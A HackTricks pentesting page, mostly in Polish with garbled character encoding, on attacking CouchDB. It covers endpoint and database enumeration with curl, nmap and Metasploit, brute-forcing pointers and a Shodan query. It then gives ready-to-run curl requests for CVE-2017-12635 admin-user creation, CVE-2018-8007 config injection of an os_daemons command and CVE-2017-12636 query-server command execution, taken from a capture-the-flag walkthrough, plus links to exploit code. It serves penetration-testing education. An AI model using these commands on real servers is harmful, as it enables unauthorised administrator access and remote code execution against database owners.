# 5984,6984 - Pentesting CouchDB {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## **Podstawowe informacje** **CouchDB** to wszechstronna i pot臋偶na **baza danych zorientowana na dokumenty**, kt贸ra organizuje dane za pomoc膮 struktury **mapy klucz-warto艣膰** w ka偶dym **dokumencie**. Pola w dokumencie mog膮 by膰 reprezentowane jako **pary klucz/warto艣膰, listy lub mapy**, co zapewnia elastyczno艣膰 w przechowywaniu i pobieraniu danych. Ka偶demu **dokumentowi** przechowywanemu w CouchDB przypisywany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Dodatkowo, ka偶da modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Ten numer rewizji umo偶liwia efektywne **艣ledzenie i zarz膮dzanie zmianami**, u艂atwiaj膮c 艂atwe pobieranie i synchronizacj臋 danych w bazie danych. **Domy艣lny port:** 5984(http), 6984(https) ``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` ## **Automatyczna enumeracja** ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` ## R臋czna enumeracja ### Baner ``` curl http://IP:5984/ ``` To wysy艂a 偶膮danie GET do zainstalowanej instancji CouchDB. Odpowied藕 powinna wygl膮da膰 mniej wi臋cej jak jedna z poni偶szych: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` {% hint style="info" %} Zauwa偶, 偶e je艣li uzyskuj膮c dost臋p do g艂贸wnego katalogu couchdb otrzymasz `401 Unauthorized` z czym艣 takim jak: `{"error":"unauthorized","reason":"Authentication required."}` **nie b臋dziesz m贸g艂 uzyska膰 dost臋pu** do banera ani 偶adnego innego punktu ko艅cowego. {% endhint %} ### Info Enumeration To s膮 punkty ko艅cowe, do kt贸rych mo偶esz uzyska膰 dost臋p za pomoc膮 偶膮dania **GET** i wyodr臋bni膰 interesuj膮ce informacje. Mo偶esz znale藕膰 [**wi臋cej punkt贸w ko艅cowych i bardziej szczeg贸艂owe opisy w dokumentacji couchdb**](https://docs.couchdb.org/en/latest/api/index.html). * **`/_active_tasks`** Lista uruchomionych zada艅, w tym typ zadania, nazwa, status i identyfikator procesu. * **`/_all_dbs`** Zwraca list臋 wszystkich baz danych w instancji CouchDB. * **`/_cluster_setup`** Zwraca status w臋z艂a lub klastra, zgodnie z kreatorem konfiguracji klastra. * **`/_db_updates`** Zwraca list臋 wszystkich zdarze艅 bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do korzystania z tego punktu ko艅cowego. * **`/_membership`** Wy艣wietla w臋z艂y, kt贸re s膮 cz臋艣ci膮 klastra jako `cluster_nodes`. Pole `all_nodes` wy艣wietla wszystkie w臋z艂y, o kt贸rych ten w臋ze艂 wie, w tym te, kt贸re s膮 cz臋艣ci膮 klastra. * **`/_scheduler/jobs`** Lista zada艅 replikacji. Opis ka偶dego zadania b臋dzie zawiera艂 informacje o 藕r贸dle i celu, identyfikator replikacji, histori臋 ostatnich zdarze艅 i kilka innych rzeczy. * **`/_scheduler/docs`** Lista stan贸w dokument贸w replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach `completed` i `failed`. Dla ka偶dego dokumentu zwraca identyfikator dokumentu, baz臋 danych, identyfikator replikacji, 藕r贸d艂o i cel oraz inne informacje. * **`/_scheduler/docs/{replicator_db}`** * **`/_scheduler/docs/{replicator_db}/{docid}`** * **`/_node/{node-name}`** Punkt ko艅cowy `/_node/{node-name}` mo偶e by膰 u偶yty do potwierdzenia nazwy w臋z艂a Erlang serwera, kt贸ry przetwarza 偶膮danie. Jest to najbardziej przydatne podczas uzyskiwania dost臋pu do `/_node/_local`, aby uzyska膰 te informacje. * **`/_node/{node-name}/_stats`** Zas贸b `_stats` zwraca obiekt JSON zawieraj膮cy statystyki dla dzia艂aj膮cego serwera. Literalny ci膮g `_local` s艂u偶y jako alias dla lokalnej nazwy w臋z艂a, wi臋c dla wszystkich adres贸w URL statystyk, `{node-name}` mo偶e by膰 zast膮pione `_local`, aby interagowa膰 ze statystykami lokalnego w臋z艂a. * **`/_node/{node-name}/_system`** Zas贸b \_system zwraca obiekt JSON zawieraj膮cy r贸偶ne statystyki na poziomie systemu dla dzia艂aj膮cego serwera\_.\_ Mo偶esz u偶y膰 \_\_`_local` jako {node-name}, aby uzyska膰 informacje o bie偶膮cym w臋藕le. * **`/_node/{node-name}/_restart`** * **`/_up`** Potwierdza, 偶e serwer jest uruchomiony, dzia艂a i jest gotowy do odpowiadania na 偶膮dania. Je艣li [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) jest `true` lub `nolb`, punkt ko艅cowy zwr贸ci odpowied藕 404. * **`/_uuids`** 呕膮da jednego lub wi臋cej Uniwersalnych Unikalnych Identyfikator贸w (UUID) z instancji CouchDB. * **`/_reshard`** Zwraca liczb臋 zako艅czonych, nieudanych, uruchomionych, zatrzymanych i ca艂kowitych zada艅 wraz z stanem reshardingu w klastrze. Wi臋cej interesuj膮cych informacji mo偶na wyodr臋bni膰, jak wyja艣niono tutaj: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) ### **Database List** ``` curl -X GET http://IP:5984/_all_dbs ``` Je艣li ta pro艣ba **zwraca 401 nieautoryzowany**, potrzebujesz **wa偶nych po艣wiadcze艅**, aby uzyska膰 dost臋p do bazy danych: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` Aby znale藕膰 wa偶ne dane logowania, mo偶esz **spr贸bowa膰** [**przeprowadzi膰 atak brute force na us艂ug臋**](../generic-methodologies-and-resources/brute-force.md#couchdb). To jest **przyk艂ad** odpowiedzi couchdb, gdy masz **wystarczaj膮ce uprawnienia** do wy艣wietlenia baz danych (to tylko lista baz danych): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` ### Database Info Mo偶esz uzyska膰 informacje o bazie danych (takie jak liczba plik贸w i rozmiary) uzyskuj膮c dost臋p do nazwy bazy danych: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` ### **Lista dokument贸w** Wymie艅 ka偶dy wpis w bazie danych ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs #Example response: {"total_rows":7,"offset":0,"rows":[ {"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}}, {"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}}, {"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}}, {"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}}, {"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}}, {"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}}, {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} ]} ``` ### **Przeczytaj dokument** Przeczytaj zawarto艣膰 dokumentu w bazie danych: ```bash curl -X GET http://IP:5984/{dbname}/{id} curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` ## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) Dzi臋ki r贸偶nicom mi臋dzy parserami JSON w Erlangu i JavaScript mo偶esz **utworzy膰 u偶ytkownika administratora** z danymi uwierzytelniaj膮cymi `hacktricks:hacktricks` za pomoc膮 nast臋puj膮cego 偶膮dania: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` [**Wi臋cej informacji na temat tej luki tutaj**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). ## CouchDB RCE ### **Przegl膮d bezpiecze艅stwa ciasteczek Erlang** Przyk艂ad [st膮d](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). W dokumentacji CouchDB, szczeg贸lnie w sekcji dotycz膮cej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest u偶ycie port贸w przez CouchDB w trybie klastra. Wspomniano, 偶e, podobnie jak w trybie samodzielnym, port `5984` jest u偶ywany. Dodatkowo, port `5986` jest przeznaczony dla lokalnych API w臋z艂贸w, a co wa偶ne, Erlang wymaga portu TCP `4369` dla Daemon Port Mapper Erlang (EPMD), u艂atwiaj膮cego komunikacj臋 mi臋dzy w臋z艂ami w klastrze Erlang. Ta konfiguracja tworzy sie膰, w kt贸rej ka偶dy w臋ze艂 jest po艂膮czony z ka偶dym innym w臋z艂em. Podkre艣lono istotne ostrze偶enie dotycz膮ce portu `4369`. Je艣li ten port jest udost臋pniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpiecze艅stwo systemu w du偶ej mierze opiera si臋 na unikalnym identyfikatorze znanym jako "ciasteczko." To ciasteczko dzia艂a jako zabezpieczenie. Na przyk艂ad, w danej li艣cie proces贸w, ciasteczko o nazwie "monster" mo偶e by膰 obserwowane, co wskazuje na jego rol臋 operacyjn膮 w ramach systemu zabezpiecze艅. ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` Dla tych, kt贸rzy s膮 zainteresowani zrozumieniem, jak ten "ciasteczko" mo偶e by膰 wykorzystane do zdalnego wykonania kodu (RCE) w kontek艣cie system贸w Erlang, dost臋pna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany spos贸b w celu uzyskania kontroli nad systemami. Mo偶esz **[zbada膰 szczeg贸艂owy przewodnik na temat nadu偶ywania ciasteczek Erlang dla RCE tutaj](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**. ### **Wykorzystanie CVE-2018-8007 poprzez modyfikacj臋 local.ini** Przyk艂ad [st膮d](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). Ostatnio ujawniona luka, CVE-2018-8007, wp艂ywaj膮ca na Apache CouchDB, zosta艂a zbadana, ujawniaj膮c, 偶e wykorzystanie jej wymaga uprawnie艅 do zapisu w pliku `local.ini`. Chocia偶 nie jest to bezpo艣rednio stosowane do pocz膮tkowego systemu docelowego z powodu ogranicze艅 bezpiecze艅stwa, wprowadzono modyfikacje, aby przyzna膰 dost臋p do zapisu w pliku `local.ini` w celach eksploracyjnych. Poni偶ej przedstawiono szczeg贸艂owe kroki i przyk艂ady kodu, ilustruj膮ce ten proces. Najpierw 艣rodowisko jest przygotowywane poprzez upewnienie si臋, 偶e plik `local.ini` jest zapisywalny, co jest weryfikowane poprzez wylistowanie uprawnie艅: ```bash root@canape:/home/homer/etc# ls -l -r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini -rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini -r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk -r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args ``` Aby wykorzysta膰 luk臋, wykonywana jest komenda curl, celuj膮c w konfiguracj臋 `cors/origins` w `local.ini`. To wstrzykuje nowy origin wraz z dodatkowymi komendami w sekcji `[os_daemons]`, maj膮c na celu wykonanie dowolnego kodu: ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` Nast臋pna weryfikacja pokazuje wstrzykni臋t膮 konfiguracj臋 w `local.ini`, por贸wnuj膮c j膮 z kopi膮 zapasow膮, aby uwydatni膰 zmiany: ```bash root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 < [cors] < origins = 0xdf < [os_daemons] < test_daemon = /usr/bin/touch /tmp/0xdf ``` Pocz膮tkowo oczekiwany plik (`/tmp/0xdf`) nie istnieje, co wskazuje, 偶e wstrzykni臋te polecenie nie zosta艂o jeszcze wykonane. Dalsze badania ujawniaj膮, 偶e dzia艂aj膮 procesy zwi膮zane z CouchDB, w tym jeden, kt贸ry potencjalnie m贸g艂by wykona膰 wstrzykni臋te polecenie: ```bash root@canape:/home/homer/bin# ps aux | grep couch ``` Poprzez zako艅czenie zidentyfikowanego procesu CouchDB i pozwolenie systemowi na automatyczne jego ponowne uruchomienie, wywo艂ywana jest egzekucja wstrzykni臋tej komendy, co potwierdza istnienie wcze艣niej brakuj膮cego pliku: ```bash root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` To badanie potwierdza wykonalno艣膰 eksploatacji CVE-2018-8007 w okre艣lonych warunkach, szczeg贸lnie wym贸g dost臋pu do zapisu do pliku `local.ini`. Podane przyk艂ady kodu i kroki proceduralne oferuj膮 jasny przewodnik do powt贸rzenia eksploatu w kontrolowanym 艣rodowisku. Aby uzyska膰 wi臋cej informacji na temat CVE-2018-8007, zapoznaj si臋 z komunikatem mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). ### **Badanie CVE-2017-12636 z uprawnieniami do zapisu na local.ini** Przyk艂ad [st膮d](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). Zbadano luk臋 znan膮 jako CVE-2017-12636, kt贸ra umo偶liwia wykonanie kodu za po艣rednictwem procesu CouchDB, chocia偶 konkretne konfiguracje mog膮 uniemo偶liwi膰 jej eksploatacj臋. Pomimo licznych odniesie艅 do Proof of Concept (POC) dost臋pnych w Internecie, konieczne s膮 dostosowania, aby wykorzysta膰 luk臋 w wersji CouchDB 2, r贸偶ni膮cej si臋 od powszechnie atakowanej wersji 1.x. Pocz膮tkowe kroki obejmuj膮 weryfikacj臋 wersji CouchDB i potwierdzenie braku oczekiwanego 艣cie偶ki serwer贸w zapyta艅: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ ``` Aby dostosowa膰 si臋 do wersji CouchDB 2.0, wykorzystuje si臋 now膮 艣cie偶k臋: ```bash curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` Pr贸by dodania i wywo艂ania nowego serwera zapyta艅 spotka艂y si臋 z b艂臋dami zwi膮zanymi z uprawnieniami, co zosta艂o wskazane przez nast臋puj膮cy wynik: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` Dalsze 艣ledztwo ujawni艂o problemy z uprawnieniami do pliku `local.ini`, kt贸ry nie by艂 zapisywalny. Poprzez modyfikacj臋 uprawnie艅 pliku z dost臋pem root lub homer, sta艂o si臋 mo偶liwe kontynuowanie: ```bash cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` Subsequent attempts to add the query server succeeded, as demonstrated by the lack of error messages in the response. The successful modification of the `local.ini` file was confirmed through file comparison: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` Proces kontynuowany by艂 od utworzenia bazy danych i dokumentu, a nast臋pnie pr贸by wykonania kodu za pomoc膮 niestandardowego widoku mapuj膮cego do nowo dodanego serwera zapyta艅: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` A **[podsumowanie](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** z alternatywnym 艂adunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w okre艣lonych warunkach. **Przydatne zasoby** do wykorzystania tej podatno艣ci obejmuj膮: - [Kod exploita POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) - [Wpis w bazie danych exploit贸w](https://www.exploit-db.com/exploits/44913/) ## Shodan * `port:5984 couchdb` ## Odniesienia * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) * [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks * Sprawd藕 [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)! * **Do艂膮cz do** 馃挰 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **艣led藕** nas na **Twitterze** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podziel si臋 trikami hakerskimi, przesy艂aj膮c PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytori贸w github.
{% endhint %}